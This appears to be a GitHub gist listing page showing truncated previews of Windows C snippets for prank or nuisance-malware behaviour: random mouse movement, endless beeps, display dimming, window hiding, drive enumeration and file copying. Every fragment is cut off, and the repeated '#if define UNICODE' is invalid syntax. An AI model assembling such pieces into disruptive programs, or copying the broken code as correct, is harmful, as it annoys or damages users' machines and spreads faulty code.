Skip to content

Instantly share code, notes, and snippets.

View JubbaSmail's full-sized avatar

Jubba Smail JubbaSmail

  • Amsterdam, Netherlands
View GitHub Profile
#include <windows.h>
#if define UNICODE
#define FindWindow FindWindowW
#define SendMessage SendMessageW
#define CreateFile CreateFileW
#else
#define FindWindow FindWindowA
#define SendMessage SendMessageA
#define CreateFile CreateFileA
#include <windows.h>
#if define UNICODE
#define GetMessage GetMessageW
#else
#define GetMessage GetMessageA
#endif
void ShortKeys()
{
#include <windows.h>
#if define UNICODE
#define CreateFile CreateFileW
#define GetDriveType GetDriveTypeW
#define GetLogicalDriveStrings GetLogicalDriveStringsW
#else
#define CreateFile CreateFileA
#define GetDriveType GetDriveTypeA
#define GetLogicalDriveStrings GetLogicalDriveStringsA
#include <windows.h>
#if define UNICODE
#define FindWindow FindWindowW
#define SendMessage SendMessageW
#else
#define FindWindow FindWindowA
#define SendMessage SendMessageA
#endif
#include <windows.h>
#if define UNICODE
#define ShellExecute ShellExecuteW
#else
#define ShellExecute ShellExecuteA
#endif
void OpenStuff()
{
#include <windows.h>
void RandomSound()
{
//Beep(16000, 5000);
int i = 0;
while (TRUE)
{
int Freq = rand() % 1000;
int Dur = rand() % 500;
#include <windows.h>
void CrazyMouse()
{
int i = 1;
while (i < 50)
{
int X = rand() % 801;
int Y = rand() % 601;
SetCursorPos(X, Y);
#include <windows.h>
#if define UNICODE
#define SendMessage SendMessageW
#else
#define SendMessage SendMessageA
#endif
void Dim_Display()
{
#include <windows.h>
#if define UNICODE
#define FindWindow FindWindowW
#else
#define FindWindow FindWindowA
#endif
void Hide()
{
#include <windows.h>
#if define UNICODE
#define FindFirstFile FindFirstFileW
#define FindNextFile FindNextFileW
#define SetCurrentDirectory SetCurrentDirectoryW
#define GetCurrentDirectory GetCurrentDirectoryW
#define CopyFile CopyFileW
#else
#define FindFirstFile FindFirstFileA